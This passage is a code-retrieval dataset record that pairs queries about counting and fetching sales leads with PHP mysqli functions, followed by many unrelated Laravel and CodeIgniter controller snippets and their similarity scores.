name, email');\n if($result == null)\n $this->set_response(array('response_code'=>400,'response_message'=>'No Data Found','response_data'=>array()), REST_Controller::HTTP_OK);\n else\n $this->set_response(array('response_code'=>200,'response_message'=>'Success','response_data'=>$result), REST_Controller::HTTP_OK);\n }", "public function readJourney(){\n $journeys = DB::table('journey')\n ->join('employee.employee as db2', 'journey.applicant_id', '=', 'db2.r_id')\n ->join('journey_status', 'journey.journey_status_id', '=', 'journey_status.id')\n ->select('journey.*','journey_status.name as status', 'db2.emp_title', 'db2.emp_firstname', 'db2.emp_surname')\n ->get();\n \n return response($journeys);\n }", "function get_blog_details($fields = \\null, $get_all = \\true)\n {\n }", "public function index()\n\t{\n\t\treturn Lense::all();\n\t}", "public function index()\n {\n return response()->json([\n \"advisers\" => Adviser::with(\"user\")->get()->all(),\n \"token\" => request()->get(\"token\"),\n ]);\n }", "public function index()\n {\n $user = \\Auth::guard('api')->user();\n\n $lists = \\Acelle\\Model\\Campaign::getAll()\n ->select('uid', 'name', 'type', 'subject', 'html', 'plain', 'from_email', 'from_name', 'reply_to', 'status', 'delivery_at', 'created_at', 'updated_at')\n ->where('customer_id', '=', $user->customer->id)\n ->get();\n\n return \\Response::json($lists, 200);\n }", "public function getAll(){\n $query = $this->fpdo->from('view_history_attend')->orderBy('id_demand DESC')->execute();\n $result = null;\n /* 2. encriptar IDs */\n if($query->rowCount()!=0){\n $result = $query->fetchAll(PDO::FETCH_OBJ);\n $status = true;\n $msg = \"Lista atenciones realizadas\";\n }\n else{\n $result = array();\n $status = false;\n $msg = \"No existen registros\";\n }\n /* 3. retornar valores en un array Response */\n return $this->response->send(\n $result,\n $status,\n $msg,\n []\n );\n }", "public static function getAll() {}", "public function offer_reports_get()\n {\n $this->verify_request(); \n $data = $this->Offer_model->offer_reports();\n $status = parent::HTTP_OK;\n $response = ['status' => $status, 'data' => $data];\n $this->response($response, $status);\n }", "public function index()\n {\n $user = Auth::user();\n $lessons = $user->group->lessons()->whereNotNull('homework_id')\n ->whereNotNull('homework_send_time')->orderBy('homework_send_time');\n\n return LessonResource::collection($lessons->get());\n }", "public function walked_in(){\n\n $telecaller_id = Auth::guard('telecaller')->user()->id;\n\n \n\n $data = [\n\n 'data' => EnquiryLeads::getAllEnquiry('telecaller','3'),\n\n 'enquiry_src' => EnquirySrc::where('status','0')->where('is_deleted','0')->get(),\n\n 'course' => Course::where('status','0')->where('is_deleted','0')->get(),\n\n 'single_enquiry_src' => new EnquirySrc,\n\n 'single_course' => new Course,\n\n 'lead_quality' => LeadQuality::get(),\n\n 'single_lead_quality' => new LeadQuality,\n\n 'type' => 'walked_in',\n\n 'link' => env('telecaller').'/enquiry_leads_walked_in'\n\n ];\n\n\n\n return View('telecaller.enquiry_leads.index',$data);\n\n }", "public function show(Request $request)\n {\n if ($request->bulk_action_btn){\n if(config('app.is_demo')) return back()->with('error', __a('demo_restriction'));\n }\n \n\n // if ($request->bulk_action_btn === 'update_status' && $request->update_status){\n // if($request->bulk_ids==''){\n // return back();\n // }\n // Leads::whereIn('id', $request->bulk_ids)->update(['l_status' => $request->update_status,'manager' => Auth::user()->name]);\n // return back();\n // }\n if ($request->bulk_action_btn === 'delete'){\n if($request->bulk_ids==''){\n return back();\n }\n Leads::whereIn('id', $request->bulk_ids)->delete();\n return back();\n }\n\n \n \n $title = \"Leads\";\n\n $user = Auth::user();\n if ( $user->isAdmin()){\n $leads = Leads::with('course_details')->get();\n }\n\n if ($request->status){\n if ($request->status !== 'all'){\n $leads = Leads::with('course_details')->where('l_status', $request->status)->paginate(25);\n \n }else{\n $leads = Leads::with('course_details')->orderBy('created_at', 'desc')->paginate(25);\n }\n }else{\n $leads = Leads::with('course_details')->paginate(25);\n \n }\n\n $courses = Course::orderBy('awarding_body', 'ASC')->get();\n\n \n //$lead_status = LeadStatus::find(1);\n\n return view('admin.leads', compact('title', 'leads','courses'));\n }", "public function index()\n {\n //\n return Incidencies::get();\n }", "public function index()\n {\n $detalles = Detalle::orderBy('id', 'desc')->get();\n return DetalleResource::collection($detalles);\n }", "public function getAll()\n {\n return $this->_info;\n\n }", "public function get_all ();", "public function alldiseaseinfo()\r\r\n {\r\r\n return response()->json(\r\r\n Disease::wheredmuse(0)->select('id','diseasename')->get()\r\r\n );\r\r\n }", "public function index()\n {\n return Contact::latest()->get();\n }", "public function index()\n {\n return Auto::with('type', 'organizations', 'employers', 'employers.position')->get();\n }", "public function index()\n {\n return JournalEntry::currentReport()->orderByDesc('created_at')->get();\n }" ]
[ "0.74378085", "0.71979785", "0.67960817", "0.6549791", "0.6517673", "0.6513952", "0.6513952", "0.6513749", "0.6464507", "0.6203088", "0.6157461", "0.61518455", "0.6049663", "0.60444087", "0.6019386", "0.60039824", "0.5969242", "0.5941219", "0.5940765", "0.59320396", "0.5854268", "0.58334637", "0.5817159", "0.580579", "0.58031344", "0.5800347", "0.5800347", "0.5800347", "0.5800254", "0.5800254", "0.57701224", "0.57615614", "0.57564455", "0.5747", "0.5719892", "0.5718677", "0.5708202", "0.5702688", "0.56958497", "0.5695278", "0.5679668", "0.5663225", "0.5662361", "0.5661377", "0.56609046", "0.5657294", "0.5656974", "0.5647461", "0.56472826", "0.56457275", "0.5636194", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.5635907", "0.563238", "0.5622084", "0.5591889", "0.5591502", "0.5584892", "0.5581443", "0.5566325", "0.55591434", "0.5558649", "0.5556415", "0.55556566", "0.55530053", "0.5547234", "0.5546216", "0.5544451", "0.55366564", "0.55285096", "0.55282426", "0.55231667", "0.55208725", "0.55185866", "0.5517577", "0.5515759", "0.55151325", "0.5510956", "0.5490671", "0.548563" ]
0.5809663
23
Retrieve total no of lead
function TotalLead() { global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT id FROM " . $db_table_prefix . "leads"); $stmt->execute(); $stmt->store_result(); $num_returns = $stmt->num_rows; $stmt->close(); return $num_returns; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getCountLeads()\n {\n $data = $this->call('apps/' . $this->appId . '/users', [], 'get');\n\n if ($data['total']) {\n return (int)$data['total'];\n }\n\n return 0;\n }", "public static function totalNumber()\n {\n return (int)self::find()->count();\n }", "public function totalCount();", "public function totalCount();", "public function getTotal()\n {\n $response = $this->client->post( 'https://idf.intven.com/public_patent_listing.json', [\n 'verify' => false,\n 'json' => [\n \"report_type\" => \"public_patent_listing\",\n \"queryFields\" => new \\stdClass(),\n \"filters\" => new \\stdClass(),\n \"per_page\" => 0,\n \"from\" => 0,\n \"sort\" => \"issued_on\",\n \"sort_order\" => \"desc\"\n ],\n ]);\n $data = json_decode($response->getBody()->getContents());\n return $data->meta_data->total_count;\n }", "public function getTotalCount();", "public function getTotalCount();", "public function getTotalCount();", "public function getTotalNumberOfResults();", "public function amountPlayersRecords(){\n $sql = \"SELECT COUNT(*) as contagem FROM jogador\";\n $result = $this->connection->dataBase->Execute($sql);\n $record = $result->FetchNextObject();\n return $record->CONTAGEM;\n\t}", "public function totalRecord(){\n\t\t\t//lay bien ket noi csdl\n\t\t\t$conn = Connection::getInstance();\n\t\t\t//thuc thi truy van\n\t\t\t$query = $conn->query(\"select * from work inner join content_time on work.id=content_time.fk_work_id inner join work_time on work_time.id=content_time.fk_worktime_id\");\n\t\t\t//tra ve tong so luong ban ghi\n\t\t\treturn $query->rowCount();\n\t\t}", "public function getTotalHT(){\n\t\t$HT=0;\n\t\tforeach ($this->_leslignes->getAll() as $uneligne){\n\t\t\t$HT+=$uneligne->getTotal();\n\t\t}\n\t\treturn $HT;\n\t}", "public function getRecordsTotal(): int;", "public function getTotalSumNbReminderSent()\n {\n $nbSent = Mage::getModel('abandonment/stats')->getResource()\n ->getSumReminderSent();\n return $nbSent;\n }", "private function getTotalCharge() {\n $result = 0;\n\n foreach ($this->rentals as $rental) {\n $result += $rental->getCharge();\n }\n return $result;\n\n }", "public function getTotalLactation()\n {\n return $this->total_lactation;\n }", "public function totalResults()\n {\n\t\treturn (int) $this->totalResultsReturned;\n }", "public function getTotal() {\n\t\treturn $this->find('count', array(\n\t\t\t'contain' => false,\n\t\t\t'recursive' => false,\n\t\t\t'cache' => $this->alias . '::' . __FUNCTION__,\n\t\t\t'cacheExpires' => '+24 hours'\n\t\t));\n\t}", "function getTotalPages()\n{\n include('connecter.php');\n if($con)\n {\n $nbr = $con->query('SELECT COUNT(*) AS nbre_total FROM invite');\n $resultat = $nbr->fetch();\n return $resultat['nbre_total'];\n }\n return -1;\n \n}", "public function total_notes()\n {\n $count = 0;\n\n foreach($this->sites as $site)\n $count = $count + $site->notes->count();\n\n return $count;\n }", "public function getTotalRecords()\n {\n return $this->pageMetaData['total_records'];\n }", "function getOverallOrderRemain(){\n\t\t$t=0;\n\t\t$a = Order::all();\n\t\tforeach($a as $n){\n\t\t$dur= $n->qty;\n\t\t$sl =Order::where('payment', 'verified')->count();\n\t\t$r=intVal($sl);\n\t\t$t = $t + $r;\n\t\t}\n\t\treturn $t;\n\t\t}", "private function getTotalFrequentRenterPoints() {\n $result = 0;\n\n foreach ($this->rentals as $rental){\n $result += $rental->getFrequentRenterPoints();\n }\n return $result;\n }", "public function getTotal()\n {\n $db = self::getInstance();\n $db = $db->prepare(\"SELECT count(*) as count FROM paciente\");\n $db->execute();\n return $db->fetch(\\PDO::FETCH_ASSOC);\n }", "public function getLegTotalNoOfStops()\n {\n return $this->LegTotalNoOfStops;\n }", "public function getRecordCount(){\n $records = $this->statement(\"SELECT count(*) AS total_records FROM `voters`\");\n return $records[0]['total_records'];\n }", "public function notes()\r\n {\r\n $this->CI->db->where('rel_type', 'lead');\r\n $this->CI->db->where('rel_id', $this->leadId);\r\n\r\n return $this->CI->db->count_all_results('notes');\r\n }", "public function getTotalHt()\n {\n\n $conn = $this->getEntityManager()->getConnection();\n $sql = \"SELECT SUM(ht) AS total\n FROM cmdrobydelaiacceptereporte\n WHERE cmdrobydelaiacceptereporte.statut <> 'Terminé'\n \";\n $stmt = $conn->prepare($sql);\n $resultSet = $stmt->executeQuery();\n return $resultSet->fetchOne();\n }", "public function totcarte()\n {\n $detalle = FacturaDet::join('factura_cab', 'factura_cab.numfac', '=', 'factura_det.numfac')\n ->select(DB::raw('sum(cantserv*valserv) as total'))\n ->where('factura_cab.estfac','<>','0')\n ->where('factura_cab.estfac','<>','1')\n ->first();\n $total=$detalle->total+0;\n $pagos = Pago::select(DB::raw('sum(valpago) as total'))\n ->first();\n if($pagos)\n $pagado = $pagos->total;\n else\n $pagado=0;\n $total = $total - $pagado;\n return $total;\n }", "function total_itineraries()\n\t{\n\t\treturn $this->_tour_voucher_contents['total_itineraries'];\n\t}", "public function getTotalCount() {\n\n try {\n $amount = (int) $this->db->fetchOne(\"SELECT COUNT(*) as amount FROM email_log \" . $this->getCondition(), $this->model->getConditionVariables());\n } catch (Exception $e) {\n\n }\n return $amount;\n }", "public function GetNumberOfResults()\n {\n // phpcs:enable PSR1.Methods.CamelCapsMethodName.NotCamelCaps\n $ret = 0;\n \n if (!$this->_my_root && $this->_search_results instanceof c_comdef_meetings) {\n $ret = $this->_search_results->GetNumMeetings();\n } elseif ($this->_my_root instanceof c_comdef_meeting_search_manager) {\n $ret = $this->_my_root->GetNumberOfResults();\n }\n \n return $ret;\n }", "public function getTotalRecordsNumber()\n {\n if (null === $this->totalRecord)\n {\n $adaptable = $this->getAdaptable();\n $this->totalRecord = count($adaptable);\n }\n\n return $this->totalRecord;\n }", "public function GetNumberOfResultsInThisPage()\n {\n // phpcs:enable PSR1.Methods.CamelCapsMethodName.NotCamelCaps\n $ret = 0;\n \n if ($this->_search_results instanceof c_comdef_meetings) {\n $ret = $this->_search_results->GetNumMeetings();\n }\n\n return $ret;\n }", "private function _count_page()\n {\n $count_career = $this->core_model->count('career');\n return ceil($count_career / 4);\n }", "public function total(): int\n {\n return count($this->all());\n }", "public function recursos_totales() {\r\n $this->db->select('count(*) as total');\r\n $query = $this->db->get(\"publicacion\");\r\n //return $query->num_rows();\r\n $resultados = $query->result();\r\n if(!empty($resultados)){\r\n return $resultados[0]->total;\r\n } else {\r\n return false;\r\n }\r\n }", "private function count()\n\t\t{\n\t\t\t$query = \"\tSELECT count(1) AS 'total'\n\t\t\t\t\t\tFROM\n\t\t\t\t\t\t\t`\".$this->tree_node.\"` `MTN`\n\t\t\t\t\t\tWHERE 1 = 1\n\t\t\t\t\t\t\tAND `MTN`.`application_release`\t= '\".$this->application_release.\"'\n\t\t\t\t\t\";\n\t\t\t$result = $this->link_mt->query($query);\n\n\t\t\t$row = $result->fetch_array(MYSQLI_ASSOC);\t\n\t\t\treturn $row['total'];\t\t\n\t\t}", "public function getnbadults()\n {\n\n $rqt='select count(*) as nb from adult ';\n\n $rep= $this->executerRequete($rqt);\n $ligne= $rep->fetch();\n return $ligne['nb'];\n }", "public function calculateTotalBreakfast()\n\t{\n\t\t$result = 0;\n\t\t$passengers = $this->getPassengers();\n\n\t\tif( count($passengers) )\n\t\t{\n\t\t\tforeach ($passengers as $passenger)\n\t\t\t{\n\t\t\t\tif( (int)$passenger->status < 3 )\n\t\t\t\t{\n\t\t\t\t\tif($passenger->breakfast)\n\t\t\t\t\t{\n\t\t\t\t\t\t$result++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $result;\n\t}", "public function getTotalCasesInDept(){\n $dept = $this->dept;\n $users = User::where(['department' => $dept->id])->select('users.id')->get();\n $sum = 0;\n foreach($users as $user){\n $numberOfCasesIntaken = LegalCase::where(['staff' => $user->id])->count();\n $sum += $numberOfCasesIntaken;\n }\n return $sum;\n }", "public function total() {\n\t\t$query = \"select count(us.sentimento_id) as total\n\t\t\t\t from usuario_sentimento us where us.sentimento_id = \" . $this->id;\n\t\t$this->db->ExecuteSQL($query);\n\t\t$res = $this->db->ArrayResult();\n\t\treturn $res['total'];\n\t}", "public function calculateTotalMealplan()\n\t{\n\t\t$result = 0;\n\n\t\t$passengers = $this->getPassengers();\n\n\t\tif( count($passengers) )\n\t\t{\n\t\t\tforeach ($passengers as $passenger)\n\t\t\t{\n\t\t\t\tif( (int)$passenger->status < 3 )\n\t\t\t\t{\n\t\t\t\t\tif($passenger->mealplan)\n\t\t\t\t\t{\n\t\t\t\t\t\t$result++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $result;\n\t}", "public function CountRow()\n\t{\n\treturn HDB::hus()->Hcount(\"mailingdataavmedgroupinvoicesrecord30\");\n\t}", "function GetNumAnnouncement($NETWORK,$companyID,$attendeeID){\r\n\r\nglobal $NETWORK;\r\n\r\n$SQL_Ann = \"select * from announcement where network= '\".$NETWORK.\"'\";\r\n\r\n\r\n$objAnn=get_obj_info($SQL_Ann, array(\"Announcementid\"));\r\n$TotalAnn = count($objAnn);\r\n\r\n\r\n$SQL_AnnRead = \"select * from announcement_log where compid =\".$companyID.\"\"; \r\n\r\n\r\nif ($attendeeID!=\"\"){\r\n\t$SQL_AnnRead = $SQL_AnnRead .\" and attendeeID =\".$attendeeID.\" \";\r\n\r\n}\r\n\r\n$objAnnRead=get_obj_info($SQL_AnnRead, array(\"Announcementid\"));\r\n$TotalRead = count($objAnnRead);\r\n\r\nif ($TotalRead < $TotalAnn){\r\n\t\t$NumNotRead = $TotalAnn - $TotalRead;\r\n}else{\r\n\t\t$NumNotRead =0;\r\n\r\n}\r\nreturn $NumNotRead;\r\n\r\n}", "public function getExpectedPaymentsCount()\n {\n $ret = 0;\n if ($this->first_total > 0)\n $ret++;\n if ($this->second_total > 0)\n $ret += $this->rebill_times;\n return $ret;\n }", "public function calculateTotalLunch()\n\t{\n\t\t$result = 0;\n\n\t\t$passengers = $this->getPassengers();\n\n\t\tif( count($passengers) )\n\t\t{\n\t\t\tforeach ($passengers as $passenger)\n\t\t\t{\n\t\t\t\tif( (int)$passenger->status < 3 )\n\t\t\t\t{\n\t\t\t\t\tif($passenger->lunch)\n\t\t\t\t\t{\n\t\t\t\t\t\t$result++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\n\t\treturn $result;\n\t}", "public function getAdsCount()\n {\n return count($this->adRepo->findAll());\n }", "public function getTotalDue();", "public function getCountLactation()\n {\n return $this->count_lactation;\n }", "public function getTotal()\n\t{\n $rows = (new \\yii\\db\\Query())\n ->select('*')\n ->from($this->table)\n ->all();\n\t\treturn count($rows);\n\t}", "private function getRecordCounter()\n {\n $recordCounter = DentalLog::where('clinicType', '=', 'D')->count();\n $recordCounter++;\n\n return $recordCounter;\n }", "public function getTotal(): int;", "public function getTotal()\n {\n return $this->hasMany(Ward::className(), ['district_id' => 'id'])->count();\n }", "public static function totalAmountOfOffers()\n {\n return Offer::getTotalAmountOfOffers();\n\n }", "public function NumAdeudos(){\n\t\t$UsCg = new HomeController();\n\t\tdate_default_timezone_set('America/Mexico_City');\n\t\t$UsCfechaactual = date('Y-m-d');\n\t\t$UsCseccion = DB::table(\"colegiatura\")->where(\"Alumno_idAlumno\",Session::get(\"usuario\"));\n\t\t$UsCcolegiaturas = $UsCseccion->orderBy('periodo_idperiodo', 'asc')->get();\n\t\t$UsCconcole = $UsCseccion->count();\n\t\t$UsCusuario = DB::table(\"alumno\")->where(\"idAlumno\",Session::get(\"usuario\"))->first();\n\t\t$UsCadeudo = ($UsCg->restaFechas($UsCusuario->fecha, $UsCfechaactual))-$UsCconcole;\n\t\tif ($UsCadeudo < 0) {$UsCadeudo = 0;}\n\t\treturn \"- Adeudos: \".$UsCadeudo;\n\t}", "public function getTotalCount()\n {\n return $this->totalCount;\n }", "function languagelesson_calculate_lessongrade($lessonid) {\n global $DB;\n $pagescores = array();\n $pagescores = $DB->get_records_menu('languagelesson_pages', array('lessonid' => $lessonid), null, 'id,maxscore');\n $lessongrade = 0;\n foreach ($pagescores as $pagescore) {\n $lessongrade += $pagescore;\n }\n\n return $lessongrade;\n}", "public function record_count_activities() {\n return $this->db->count_all(\"page\");\n }", "function getTotalFaliures()\n {\n $data = [];\n $output = $this->queryData('//QueryGetTotalFailures','', $data);\n $number = $output[0]['number'];\n return $number;\n }", "public static function nbContactsTotal() {\n $total = \\Phonebook\\Models\\CoreModel::findAll();\n $full_contacts = Count($total);\n return $full_contacts;\n echo $this->templates->render('home');\n }", "public function total(){\n\t\t$cantidad= mysqli_num_rows($this->sql);\n\t\treturn $cantidad;\n\t}", "public function getLessonCount()\n {\n return $this->lessonCount;\n }", "public function countAd(){\n $nbAds = count($this->getAds());\n\n return $nbAds;\n }", "abstract public function countTotal();", "public function getTotal()\n\t{\n\t\t\n\t\treturn count($this->findAll());\n\t}", "public function getNumAds(){\n \n $sql= \" select count(*) from $this->m_table where is_active = 1 AND \" .\n \t\t\"user_id = \".$_SESSION['user_id'];\n \t\t\n $res = $this->_db->fetchCol($sql); \n \n if($res)\n {\n return $res[0]; \t\n }\n return 0;\n }", "public function total(): int\n {\n return Arr::get($this->meta, 'total', $this->count());\n }", "public function totalStatusLeadDiscussions($status)\n {\n return Lead::where('status', $status)->count();\n }", "function get_count() {\n\t\t$count=0;\n\t\t$db=htvcenter_get_db_connection();\n\t\t$rs = $db->Execute(\"select count(pr_id) as num from \".$this->_db_table);\n\t\tif (!$rs) {\n\t\t\tprint $db->ErrorMsg();\n\t\t} else {\n\t\t\t$count = $rs->fields[\"num\"];\n\t\t}\n\t\treturn $count;\n\t}", "public function getTotal() : int\n {\n return $this->total;\n }", "public function getTotalOnlineRefunded();", "public function getTotalMemberNo()\n\t{\n\t\t$sql = \"SELECT count(id) AS totalMember FROM member_info\";\n\t\t$query = $this->db->pdo->prepare($sql);\n\t\t$query->execute();\n\t\t$result = $query->fetch(PDO::FETCH_OBJ);\n\t\tif ($result) {\n\t\t\treturn $result->totalMember;\n\t\t}\n\t}", "public function getTotalResults()\n {\n return isset($this['info']['results'])\n ? (int) $this['info']['results']\n : 0;\n }", "public function getTotalFromRule() {\n\t\treturn $this->getScoreFromRuleInternal($this->registration->competition->rule, true);\n\t}", "public function getBaseTotalOnlineRefunded();", "public function getTotalOpenCountAttribute(): int\n {\n return (int)$this->opens()->sum('open_count');\n }", "public function get_total()\n\t{\n\t\t$query = $this->query;\n\t\tif(isset($query['order']))\n\t\t\t$query['order'] = $this->model->table() . '.id';\n\t\treturn $this->model->count($query);\n\t}", "public function getTotalResults(): int\n {\n return $this->totalResults;\n }", "public function getTotalResultsCount()\n {\n if (!$this->xmlRoot) {\n $this->processData();\n }\n return intval((string)$this->xmlRoot->xpath('/searchRetrieveResponse/numberOfRecords'));\n }", "function getTotalInspectedPanels()\n {\n $data = [];\n $output = $this->queryData('//QueryGetTotalInspectedPanels','', $data);\n $number = $output[0]['number'];\n return $number;\n }", "public function getTotalResults();", "public function get_count_invoice() {\n $id = $this->input->post('pay_id');\n $result = $this->classtraineemodel->get_count_invoice($id);\n \n echo count($result);\n }", "public function getTotalResults() : int\n {\n return $this->totalResults;\n }", "public function getTotalMultipleRevisits()\n {\n $row = \\DB::select(\"SELECT orderid FROM appr_dashboard_delay_order WHERE created_date BETWEEN :from AND :to AND delay_date BETWEEN :t AND :b GROUP BY orderid HAVING COUNT(id) > 1\", [':from' => strtotime('today'), ':to' => strtotime('tomorrow'), ':t' => strtotime('today'), ':b' => strtotime('tomorrow')]);\n return count($row);\n }", "function gettotalpageno(){\n\t $qry = \"SELECT * FROM countries\";\n\t return $result = $this->modelObj->numRows($qry);\n\t}", "function count_total_filtered()\n {\n $this->_get_datatables_query_payment();\n $query = $this->company_db->get();\n return $query->num_rows();\n }", "public function getActivitiesCount() : int;", "public function ultralinkCount(){ return $this->APICall( 'ultralinkCount', \"Could not retrieve the Ultralink count\" ); }", "public function getTotalResults() {\n return $this->totalResults;\n }", "static public function getTotalCount()\n\t{\n\t\treturn self::$count;\n\t}", "public function getTotalSubeixoRodovias(){\n\t\t$total = 0;\n\t\t$i=0;\n\t\twhile($i<count($this->result)){\n\t\t\tif($this->result[$i]->idn_digs == 1000)\n\t\t\t\t$total++;\n\t\t\t$i++;\n\t\t}\n\t\treturn $total;\n\t}", "public function getTotalCount()\n\t{\n\t\treturn $this->totalCount;\n\t}", "public function getAdFormatLeadCount()\n {\n return $this->adFormatLeadCount;\n }", "public\n\tfunction total() {\n\n\t\t$cantidad = mysqli_num_rows( $this->query );\n\n\t\treturn $cantidad;\n\n\t}", "public function getTotalLactationByStatus()\n {\n return $this->total_lactation_by_status;\n }", "public function total () {\n return $this->since($this->iniTmstmp);\n }", "public static function getCount(){\n \t$sql = \"SELECT COUNT(*) as count FROM yy_hospital\";\n \t$res = self::getDb()->query($sql)->fetchAll();\n \t$count = $res[0]['count'];\n \treturn $count;\n }", "public function getNumberOfRecords() {}", "public function getTotalPaid();" ]
[ "0.6840317", "0.63683176", "0.63154185", "0.63154185", "0.62476957", "0.6181454", "0.6181454", "0.6181454", "0.6167279", "0.61157763", "0.6096263", "0.60650617", "0.6011035", "0.5917289", "0.590406", "0.588424", "0.5882304", "0.58708394", "0.58695054", "0.58676606", "0.58534133", "0.5851205", "0.5838572", "0.5835873", "0.58276314", "0.58239466", "0.58143115", "0.5804912", "0.58021075", "0.5791827", "0.57872474", "0.57781196", "0.5770258", "0.5765743", "0.57520854", "0.57514983", "0.57513374", "0.57498866", "0.57467896", "0.5746347", "0.5743635", "0.5743053", "0.57429206", "0.5742331", "0.5741999", "0.57382184", "0.5735224", "0.5718756", "0.57148916", "0.5714031", "0.5701288", "0.5700458", "0.56988263", "0.56922454", "0.56920165", "0.5685468", "0.56838906", "0.56790024", "0.5677596", "0.56765807", "0.5675772", "0.5664864", "0.56646746", "0.5658782", "0.5656537", "0.56536686", "0.56479025", "0.56467676", "0.5646624", "0.56434244", "0.56424284", "0.5641622", "0.5636408", "0.56362194", "0.5621055", "0.561852", "0.5612483", "0.5612481", "0.56034374", "0.559807", "0.5590774", "0.5588861", "0.5587321", "0.5584119", "0.55828476", "0.558184", "0.5579888", "0.5579654", "0.55716133", "0.5561137", "0.55573815", "0.5555691", "0.5553767", "0.5550955", "0.5548146", "0.5545532", "0.55423665", "0.55410177", "0.5540802", "0.55393547" ]
0.7146964
0
Retrieve complete lead information
function fetchLeadDetails($id) { $data = $id; global $mysqli, $db_table_prefix; $stmt = $mysqli->prepare("SELECT id, fname, lname, address, city_state_zip, phone, mobile, fax, tshirt_size, email, afname, alname, aemail, arelation, aphone, atshirt_size, event_date, date FROM " . $db_table_prefix . "leads WHERE id = ? LIMIT 1"); $stmt->bind_param("s", $data); $stmt->execute(); $stmt->bind_result( $id, $fname, $lname, $address, $city_state_zip, $phone, $mobile, $fax, $tshirt_size, $email, $afname, $alname, $aemail, $arelation, $aphone, $atshirt_size, $event_date, $date); while ($stmt->fetch()) { $row[] = array('id' => $id, 'fname' => $fname, 'lname' => $lname, 'address' => $address, 'city_state_zip' => $city_state_zip, 'phone' => $phone, 'mobile' => $mobile, 'fax' => $fax, 'tshirt_size' => $tshirt_size, 'email' => $email, 'afname' => $afname, 'alname' => $alname, 'aemail' => $aemail, 'arelation' => $arelation, 'aphone' => $aphone, 'atshirt_size' => $atshirt_size, 'event_date' => $event_date, 'date' => $date); } $stmt->close(); return ($row); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function show(Lead $lead)\n {\n //\n }", "public function show(Lead $lead)\n {\n //\n }", "#[CustomOpenApi\\Operation(id: 'leadShow', tags: [Tags::Lead, Tags::V1])]\n #[OpenApi\\Parameters(factory: DefaultHeaderParameters::class)]\n #[CustomOpenApi\\Response(resource: LeadWithLatestActivityResource::class, statusCode: 200)]\n public function show(Lead $lead): LeadWithLatestActivityResource\n {\n return new LeadWithLatestActivityResource($lead->loadMissing(self::load_relation));\n }", "abstract public function getDetails();", "static function get_lead($lead_id){\n\t\t$table = self::get_offline_table();\n\t\tglobal $wpdb;\n\t\t\n\t\treturn $wpdb->get_row(\"select * from $table where lead_id = '$lead_id'\");\n\t}", "public function getDetail();", "protected function getLead()\n {\n $lead_id = isset($_POST['id']) ? $_POST['id'] : $_GET['id'];\n\n // Make Sure Lead Exists With Provided ID\n try {\n $lead = $this->db->fetch(sprintf(\"SELECT * FROM `%s` WHERE `id` = :id;\", LM_TABLE_LEADS), ['id' => $lead_id]);\n } catch (PDOException $e) {\n $this->log->error($e->getMessage());\n }\n return $lead ?: null;\n }", "public function show($id){\n $lead = Lead::with('b2b','address')->where('id',$id)->first();\n\n if (is_null($lead)) {\n return $this->sendError('Lead not found.');\n }\n\n return $this->sendResponse($lead, 'Lead retrieved successfully.');\n }", "public function getData(){\n\t\t$url = $this->host . \"/rest/v1/list/\" . $this->listId . \"/leads.json?access_token=\" . $this->getToken();\n\t\tif (isset($this->fields)){\n\t\t\t$url = $url . \"&fields=\" . $this::csvString($this->fields);\n\t\t}\n\t\tif (isset($this->batchSize)){\n\t\t\t$url = $url . \"&batchSize=\" . $this->batchSize;\n\t\t}\n\t\tif (isset($this->nextPageToken)){\n\t\t\t$url = $url . \"&nextPageToken=\" . $this->fields;\n\t\t}\n\t\t$ch = curl_init($url);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array('accept: application/json',));\n\t\t$response = curl_exec($ch);\n\t\treturn $response;\n\t}", "public function findLead()\n {\n return $this\n ->findLeadQueryBuilder()\n ->getQuery()\n ->getSingleResult()\n ;\n }", "public function getRecordInformation() {}", "public function index()\n {\n return LeadResource::collection(\n auth()->user()\n ->tbl_leads()\n ->with(\n 'users',\n 'tbl_accounts',\n 'tbl_leadsource',\n 'tbl_leadstatus',\n 'tbl_industrytypes',\n 'tbl_leadsource',\n 'tbl_leadstatus',\n 'tbl_industrytypes',\n 'tbl_countries',\n 'tbl_states')\n ->latest()\n ->paginate(15));\n }", "public function index(){\n $leads = Lead::getAllLead();\n\n return $leads;\n }", "public function getLeadFromRequest()\n {\n $leadId = $this->getLeadIdFromRequest();\n $lead = $this->getLeadFromId($leadId);\n $this->validateLead($lead);\n return $lead;\n }", "public function getData(){\n\t\t$url = $this->host . \"/rest/v1/leads.json?access_token=\" . $this->getToken()\n\t\t\t\t\t\t. \"&filterType=\" . $this->filterType . \"&filterValues=\" . $this::csvString($this->filterValues);\n\t\t\n\t\tif (isset($this->batchSize)){\n\t\t\t$url = $url . \"&batchSize=\" . $this->batchSize;\n\t\t}\n\t\tif (isset($this->nextPageToken)){\n\t\t\t$url = $url . \"&nextPageToken=\" . $this->nextPageToken;\n\t\t}\n\t\tif(isset($this->fields)){\n\t\t\t$url = $url . \"&fields=\" . $this::csvString($this->fields);\n\t\t}\n\t\t\n\t\t//debug\n\t\t//echo '<p>url after = ' . $url . '</p>';\n\t\t\n\t\t$ch = curl_init($url);\n\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\t\tcurl_setopt($ch, CURLOPT_HTTPHEADER, array('accept: application/json',));\n\t\t$response = curl_exec($ch);\n\t\treturn $response;\n\t}", "function get_invites_leads(){\n\t\t$query = $this->db->query(\"SELECT campaignname, company, concat(firstname,' ',lastname) as name, designation, email FROM `vtiger_invites` as invites LEFT JOIN vtiger_campaign as campaign on invites.campaignid=campaign.campaignid INNER JOIN vtiger_leaddetails as leads on invites.crmid = leads.leadid INNER JOIN vtiger_leadscf as leadscf on leads.leadid=leadscf.leadid where module='leads'\");\n\t\treturn 